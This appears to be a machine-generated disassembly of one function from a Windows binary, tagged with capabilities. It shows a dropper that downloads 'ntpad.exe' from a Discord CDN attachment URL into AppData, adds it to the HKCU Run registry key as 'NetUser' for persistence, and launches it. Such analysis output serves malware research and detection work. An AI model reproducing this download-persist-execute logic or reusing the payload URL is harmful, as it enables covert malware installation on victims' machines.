Function at 0x140109387
Capabilities:
Create process on windows
Download url
Get common file path
Get session user name
Persist via run registry key
Receive data
Set registry value
Terminate process

Disassembly:
jmp 0x14017cbc0
push rbp
push rdi
sub rsp, 0x848
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x176
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140441900]
xor rax, rbp
mov qword [rbp + 0x800], rax
lea rcx, [0x140469d34]
call fcn.14010bbb9
lea rax, str.https:__cdn.discordapp.com_attachments_1210642843631231048_1216496819958186046_ntpad.exe_ex66320a33is6630b8b3hm48f4ee31a8243351a7b1b30278c5cab20856fad8b020f42981f1f77e69d12ed3
mov qword [rbp + 8], rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0xffffffff
mov r8, qword [rbp + 8]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jne 0x14017cc5d
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.Failed
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
movsxd rax, dword [rbp + 0x24]
mov qword [rbp + 0x7f8], rax
mov eax, 2
mov rcx, qword [rbp + 0x7f8]
mul rcx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.1401090ee
mov qword [rbp + 0x768], rax
mov rax, qword [rbp + 0x768]
mov qword [rbp + 0x48], rax
mov eax, dword [rbp + 0x24]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0x48]
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
mov r8, qword [rbp + 8]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
jne 0x14017cd2c
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.Failed
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword [rbp + 0x48]
mov qword [rbp + 0x788], rax
mov rcx, qword [rbp + 0x788]
call fcn.14010943b
cmp qword [rbp + 0x788], 0
jne 0x14017cd11
mov qword [rbp + 0x7f8], 0
jmp 0x14017cd24
mov qword [rbp + 0x48], 0x8123
mov rax, qword [rbp + 0x48]
mov qword [rbp + 0x7f8], rax
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
mov dword [rbp + 0x294], 0x101
lea rdx, [rbp + 0x294]
lea rcx, [rbp + 0x70]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
jne 0x14017cdb0
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.Failed
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword [rbp + 0x48]
mov qword [rbp + 0x7a8], rax
mov rcx, qword [rbp + 0x7a8]
call fcn.14010943b
cmp qword [rbp + 0x7a8], 0
jne 0x14017cd95
mov qword [rbp + 0x7f8], 0
jmp 0x14017cda8
mov qword [rbp + 0x48], 0x8123
mov rax, qword [rbp + 0x48]
mov qword [rbp + 0x7f8], rax
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
lea rax, [rbp + 0x2c0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1a
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jge 0x14017ce38
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.Failed
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword [rbp + 0x48]
mov qword [rbp + 0x7c8], rax
mov rcx, qword [rbp + 0x7c8]
call fcn.14010943b
cmp qword [rbp + 0x7c8], 0
jne 0x14017ce1d
mov qword [rbp + 0x7f8], 0
jmp 0x14017ce30
mov qword [rbp + 0x48], 0x8123
mov rax, qword [rbp + 0x48]
mov qword [rbp + 0x7f8], rax
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
lea rdx, str.ntpad.exe
lea rcx, [rbp + 0x2c0]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rbp + 0x2c0]
mov rdx, qword [rbp + 0x48]
xor ecx, ecx
call fcn.14010b4ac
mov dword [rbp + 0x4e4], eax
mov rax, qword [rbp + 0x48]
mov qword [rbp + 0x7e8], rax
mov rcx, qword [rbp + 0x7e8]
call fcn.14010943b
cmp qword [rbp + 0x7e8], 0
jne 0x14017ce9e
mov qword [rbp + 0x7f8], 0
jmp 0x14017ceb1
mov qword [rbp + 0x48], 0x8123
mov rax, qword [rbp + 0x48]
mov qword [rbp + 0x7f8], rax
cmp dword [rbp + 0x4e4], 0
je 0x14017cede
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.Failed
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
lea rax, [rbp + 0x508]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x14017cf2f
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.Failed
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
lea rcx, [rbp + 0x2c0]
call qword [sym.imp.ucrtbased.dll_wcslen]
lea rax, [rax + rax + 2]
mov dword [rbp + 0x7f4], eax
mov rax, qword [rbp + 0x508]
mov qword [rbp + 0x7f8], rax
mov eax, dword [rbp + 0x7f4]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x2c0]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.NetUser
mov rcx, qword [rbp + 0x7f8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x14017cfbd
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.Failed
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rcx, qword [rbp + 0x508]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
mov rcx, qword [rbp + 0x508]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rbp + 0x2c0]
lea rdx, [0x140337fb8]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [rbp - 0x30]
lea rdx, [0x140337910]
call fcn.14010af02
mov rcx, qword [rbp + 0x800]
xor rcx, rbp
call fcn.14010946d
lea rsp, [rbp + 0x818]
pop rdi
pop rbp
ret